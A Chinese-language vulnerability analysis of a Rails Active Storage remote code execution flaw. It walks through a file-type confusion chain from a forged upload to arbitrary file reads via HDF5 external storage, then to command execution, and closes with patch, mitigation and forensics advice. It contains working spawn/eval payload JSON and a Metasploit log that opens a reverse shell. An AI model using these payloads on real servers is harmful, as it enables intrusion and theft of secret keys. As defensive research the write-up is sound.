CVE-2026-66066 Rails Active Storage RCE 深度分析:MATLAB→HDF5 文件读取到 ImageProcessing send/spawn 代码执行
CVSS 9.5 | Metasploit 模块已公开 | 无需认证 | 不依赖 Marshal 反序列化
引言
2026 年 7 月 29 日,Ruby on Rails 项目发布安全公告,修复了 Active Storage 中一枚编号为 CVE-2026-66066 的严重漏洞。初看公告,它描述的是"任意文件读取"——但 Rapid7 的安全研究员 Jonah Burgess 在 8 月 3 日发布的技术分析揭示了一条完整的、不需要 Marshal 反序列化 gadget 的远程代码执行攻击链。
这条被 Ethiack 和 GMO Flatt Security 独立发现并命名为 KindaRails2Shell 的攻击链,精巧之处在于它利用了两个组件对同一文件的不同解读:Rails 认为它是一张 PNG 图片,libvips 认为它是 MATLAB 数据,而 libmatio 进一步将其解析为 HDF5 容器——其外部存储机制恰好能读取攻击者指定的任意文件路径。
本文基于 Rapid7 的权威技术分析,从根因一步步拆解整条攻击链。
漏洞速览
| 项目 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-66066 (KindaRails2Shell) |
| CVSS 评分 | 9.5 (Critical) |
| 发现者 | Ethiack (André Baptista, Bruno Mendes, Rafael Castilho) + GMO Flatt Security (RyotaK) |
| 影响组件 | Rails Active Storage (libvips 处理管道) |
| 受影响版本 | Rails < 7.2.3.2、8.0.0 - 8.0.5、8.1.0 - 8.1.3 |
| 必要条件 | libvips 暴露 matload 操作(含 HDF5 支持)、应用接受不可信文件上传 |
| 攻击向量 | 网络 (AV:N),无需认证 (PR:N),无需用户交互 (UI:N) |
| Metasploit 模块 | exploit/multi/http/rails_activestorage_vips_rce(jburgess-r7 提交) |
| RCE 机制 | 无 Marshal 反序列化 —— ImageProcessing send → spawn/eval |
根因:两次信任失败
整条攻击链的本质是两层信任分歧:
第一层分歧:Rails vs libvips - "这是什么文件?"
Rails → 读数据库 content_type 字段 → "image/png" → 允许变体处理
libvips → 读磁盘文件字节 → "MATLAB 5.0" → 调用 matload
第二层分歧:libvips vs libmatio - "哪个 MAT 版本?"
libvips → 检查前 10 字节 → "MATLAB 5.0" 匹配 → 进入 MAT 处理
libmatio → 检查字节 124-125 的版本号 → 0x0200 = MAT_FT_MAT73 → HDF5 读取器没有任何代码在这两层之间进行协调。 Rails 信任数据库中存储的类型标签,libvips 信任磁盘上的字节,而 libmatio 又使用不同的字节偏移来决定实际使用的解析器。这个分歧链的终点是 HDF5 的 External File List 机制——一种"数据存储在外部文件"的功能——被滥用为读取任意系统文件的通道。
攻击链:五步从上传到 RCE
[攻击者]
│
│ 1. 创建 direct-upload blob, content_type = image/png
▼
[Rails 存储 blob 为"图片",不检查文件字节]
│
│ 2. 从同一应用窃取一个合法的 variation_key
▼
[Rails 独立验证 blob ID 和 variation key,不交叉校验]
│
│ 3. image_processing 将本地临时文件路径交给 libvips
▼
[libvips matload]
│
│ 4. 字节 0-9 匹配 "MATLAB 5.0"
▼
[libmatio]
│
│ 5. 字节 124-125 包含 MAT_FT_MAT73 (0x0200)
▼
[HDF5 external storage]
│
│ 6. 数据集字节来自攻击者选择的路径 + 偏移量
▼
[渲染为 PNG representation]
│
└─► 目标文件字节以图像像素形式返回第一步:伪造 content_type 绕过图像门控
Rails 提供了 ActiveStorage::DirectUploadsController#create 端点用于客户端直传。在受影响的版本中,该端点直接从请求体中接受 content_type 参数,不做任何服务端文件内容验证:
# ActiveStorage::DirectUploadsController
def create
blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args)
render json: direct_upload_json(blob)
end
def blob_args
params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys
endcontent_type 从客户端直接取值,写入 blob 数据库记录。Rapid7 验证了如果通过普通 multipart 表单上传同一构造文件,Rails 会在变体处理前用 Marcel 将其重新识别为 MATLAB 数据——但 direct-upload 路径完全跳过服务端文件类型检测。
当应用后续处理变体时,Blob#variable? 仅做数据库值的集合成员检查:
def variable?
ActiveStorage.variable_content_types.include?(content_type) # 只检查数据库值!
end一个以 image/png 存储的构造 .mat 文件因此畅通无阻地进入图像变体管道。
第二步:重放合法 variation_key
Rails 的 representation 路由将签名的 blob ID 和签名的 variation key 作为独立参数接收,分别用 MessageVerifier 验证签名——但不检查二者是否属于同一 blob:
def set_blob
@blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id])
end
def set_representation
@representation = @blob.representation(params[:variation_key]).processed
end攻击者只需从同一应用已发布的任何图片 URL 中复制一个合法的 variation_key(例如从首页 logo 的缩略图 URL),然后将其重放到攻击者自己刚创建的恶意 blob 上。文件读取阶段不需要 secret_key_base,只需一次重放。
第三步:libvips 选择 MATLAB 加载器
image_processing 将临时文件路径交给 libvips,此时未指定具体的加载器。libvips 的文件嗅探器 vips__mat_ismat 只做一项极其宽松的检查:
int vips__mat_ismat(const char *filename)
{
unsigned char buf[15];
if (vips__get_bytes(filename, buf, 10) == 10 &&
vips_isprefix("MATLAB 5.0", (char *) buf))
return 1;
return 0;
}只需文件前 10 字节为 MATLAB 5.0,libvips 就选择 matload 操作。注意:真正的 MAT 7.3 文件以 MATLAB 7.3 MAT-file 开头,是通不过这个检查的。 这个门槛低得惊人的嗅探器正是攻击者的入口。
第四步:libmatio 从不同的字节偏移读取版本号
libvips 将文件移交给 libmatio 后,libmatio 并不使用开头的 "MATLAB 5.0" 文本来决定解析器。它从字节 124 和 125 读取一个固定的两字节版本字段:
// libmatio Mat_Open()
bytesread += fread(mat->header, 1, 116, fp);
mat->header[116] = '\0';
bytesread += fread(mat->subsys_offset, 1, 8, fp);
bytesread += 2 * fread(&tmp2, 2, 1, fp); // 字节 124-125 → 版本号!
bytesread += fread(&tmp, 1, 2, fp); // 字节 126-127 → 端序标记
if (128 == bytesread) {
// ... 端序检测 ...
mat->version = (int)tmp2;
if ((mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap) {
// MAT 5 或 MAT 7.3 格式确认
}
}关键常数:
enum mat_ft {
MAT_FT_MAT73 = 0x0200, // MATLAB 7.3 → HDF5 容器
MAT_FT_MAT5 = 0x0100, // MATLAB 5
MAT_FT_MAT4 = 0x0010, // MATLAB 4
};当构造文件的字节 124-125 为 0x0200 时,libmatio 进入 MAT 7.3 (HDF5) 处理路径:
static int ReadData(mat_t *mat, matvar_t *matvar) {
if (mat->version == MAT_FT_MAT5)
return Mat_VarRead5(mat, matvar);
else if (mat->version == MAT_FT_MAT73)
return Mat_VarRead73(mat, matvar); // 进入 HDF5 读取器
// ...
}HDF5 userblock 机制使这一切成为可能:构造文件在 512 字节前导块中放置伪造的 MAT 头部信息(满足 libvips 的 "MATLAB 5.0" 检查),之后放置合法的 HDF5 超级块和外部存储条目。
第五步:HDF5 External File List → 任意文件读取
HDF5 数据集有一个合法功能叫 External File List——将数据存储在一个外部文件中,并指定路径和字节偏移量。libmatio 最终通过 HDF5 的 H5Dread 读取这些数据:
static int Mat_H5ReadData(hid_t dset_id, hid_t h5_type,
hid_t mem_space, hid_t dset_space,
int isComplex, void *data) {
if (!isComplex) {
herr = H5Dread(dset_id, h5_type, mem_space, dset_space,
H5P_DEFAULT, data);
}
}这条读取路径在调用 H5Dread 之前不检查 H5Pget_external_count()。HDF5 库解析外部存储条目,将攻击者指定文件(例如 /proc/self/environ)中的字节复制到 MAT 变量的数据缓冲区。libvips 随后将这些字节视为图像像素,Active Storage 在渲染后的 PNG representation 中返回它们。
文件读取效果:攻击者下载变体图片,从像素中恢复目标文件内容。Ethiack 发布的 1x1 像素 oracle 是字节精确的;Rapid7 的模块进一步使用 20x20 布局,在文件字节之间插入 /dev/zero 列,通过反转 image_processing 的垂直锐化每次请求恢复 180 字节。
RCE 阶段:ImageProcessing send/spawn
文件读取恢复 secret_key_base 后,攻击者不再需要重放 variation key——可以自己签名。但 RCE 的入口在于第二个独立的漏洞:
在 ActiveStorage::Variation#operations 中,MiniMagick 路径的转换名称经过了验证,而 Vips 路径不做方法名校验。image_processing 的 Chainable#apply 方法通过 public_send 调用攻击者控制的转换名称:
def apply(operations)
operations.inject(self) do |builder, (name, argument)|
if argument == true || argument == nil
builder.public_send(name)
elsif argument.is_a?(Array)
builder.public_send(name, *argument) # ← 这里!
elsif argument.is_a?(Hash)
builder.public_send(name, **argument)
else
builder.public_send(name, argument)
end
end
end当 name 为 send 且 argument 为 ["spawn", "/bin/sh", "-c", "id"] 时,执行流程是:
builder.public_send(:send, "spawn", "/bin/sh", "-c", "id")
# → builder.send("spawn", "/bin/sh", "-c", "id")
# → Kernel#spawn("/bin/sh", "-c", "id") ← 命令执行这个 RCE 路径不需要 Marshal 反序列化 gadget 链。 攻击者控制的全部数据是 Hash、Array 和 String 结构。Rapid7 在配置了 config.active_support.message_serializer = :json(Rails 默认)的 Rails 8.0.5 上验证了此路径。
等效 payload 示例:
{"send": ["spawn", "/bin/sh", "-c", "id"]}
{"send": ["eval", "File.write('/tmp/kr2s', %x{id})"]}执行发生在管道构建期间——representation 请求在 payload 执行后返回 HTTP 500(因为 spawn/eval 返回的是非构建器值),但这不影响代码已在服务端执行。
Metasploit 复现
Rapid7 研究员 jburgess-r7 提交的模块 (exploit/multi/http/rails_activestorage_vips_rce) 完整自动化了整个攻击链。以下是官方技术分析中公开的真实输出:
msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(rails_activestorage_vips_rce) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in:
/home/user/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation
using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened
msf6 exploit(rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)输出要点解读:
20x20 sharpened text-read layout:模块使用 20x20 像素布局,每次恢复 180 字节文本SHA1/SHA256分别指不同用途:SHA1 用于签名 blob ID 的 MessageVerifier 摘要,SHA256 用于推导 Active Storage key 的密钥生成器摘要- 模块在密钥恢复期间自动用候选密钥验证真实的 Active Storage 签名
- RCE 路径明确标注为
ImageProcessing send/spawn variation
影响面分析
需要满足的条件(比公告描述的更窄):
- 部署的 libvips 暴露
matload操作(编译时需启用 MATLAB/HDF5 支持) - 应用保留攻击者提供的
content_type(即使用 direct-upload 端点) - 应用有可访问的 representation 端点(默认路由即包含)
- 仅 direct-upload 路径受影响——普通服务端 multipart 上传中 Rails 会用 Marcel 重新识别文件类型
Rails 6.0-6.1 在手动配置 Vips 为变体处理器时同样受影响。
补丁分析
修复版本:7.2.3.2 / 8.0.5.1 / 8.1.3.1。
补丁不添加额外的 content-type 检查,而是在 Active Storage 初始化阶段调用 Vips.block_untrusted(true) 禁用 libvips 标记为不可信的所有操作:
# activestorage/lib/active_storage/vips.rb(新增文件)
if ActiveStorage::VIPS_AVAILABLE
begin
require "image_processing/vips"
rescue LoadError
end
unless Vips.respond_to?(:block_untrusted)
raise <<~ERROR.squish
libvips's unfuzzed operations are not safe to use with untrusted content,
and Active Storage cannot disable them. Disabling them requires libvips
8.13 or later and ruby-vips 2.2.1 or later.
ERROR
end
Vips.block_untrusted(true) # 全局禁用不可信操作
end由于 matload 被标记为 VIPS_OPERATION_UNTRUSTED,libvips 在构造文件到达 libmatio 之前就跳过了它。打补丁的 Active Storage 要求 libvips ≥ 8.13 + ruby-vips ≥ 2.2.1,否则拒绝启动。
防御方案
1. 立即升级(首选)
# 检查当前版本
bundle list | grep rails
# 升级到修复版本
bundle update rails --conservative
# 确认 libvips 版本
vips --version # 必须 ≥ 8.13
# 验证应用能正常启动
rails server2. 临时缓解(无法立即升级时)
# 设置环境变量阻止 libvips 不可信操作
export VIPS_BLOCK_UNTRUSTED=1
# 或在 Ruby 初始化器中设置(需 ruby-vips ≥ 2.2.1)
# config/initializers/vips.rb
Vips.block_untrusted(true)3. 轮换所有密钥(必须!)
文件读取阶段可能已经泄露了以下内容:
# 生成新密钥
rails secret
export SECRET_KEY_BASE=$(rails secret)
# 必须轮换的密钥清单:
# - SECRET_KEY_BASE
# - RAILS_MASTER_KEY 和它解密的 credentials
# - 数据库密码、S3/GCS/Azure 存储凭据
# - 所有第三方 API 密钥(Stripe、SendGrid、AWS 等)4. 取证检查
Rails 发布了取证工具,可以检查应用是否曾被漏洞利用:
# 搜索 Active Storage 中可能存在的构造文件
bin/rails runner 'ActiveStorage::Blob.where.not(content_type: nil).find_each { |b| ... }'⚠️ 由于 Active Storage 会定期清理未关联的 blob,取证证据可能已被删除,建议尽快进行。
漏洞根因总结
这个漏洞不是单一失误,而是信任链断裂的典型案例:
Rails 信任 content_type ──→ 不检查字节
│
▼
libvips 信任字节前 10 字符 ──→ "MATLAB 5.0" = MATLAB 文件
│
▼
libmatio 不信任开头的文本 ──→ 读字节 124-125 的版本号
│
▼
HDF5 外部存储 ──→ 读取攻击者指定的任意文件每一层都信任不同的数据来源,没有任何一层验证数据是否值得信任。当一个文件可以同时是 PNG、MATLAB 5.0 和 MAT 7.3 HDF5 容器时,安全取决于组件间的一致性——而这种一致性从未得到保证。
参考资料
- Rapid7 Technical Analysis: KindaRails2Shell
- Rapid7 Emergent Threat Response
- Rails 安全公告 CVE-2026-66066
- Ethiack 原始发现
- Metasploit PR #21733
- NVD CVE-2026-66066
- IntelFusions 分析
声明:本文仅用于安全研究和防御目的。请勿将本文内容用于未授权的渗透测试或攻击行为。所有技术细节均来自 Rapid7 公开的技术分析。

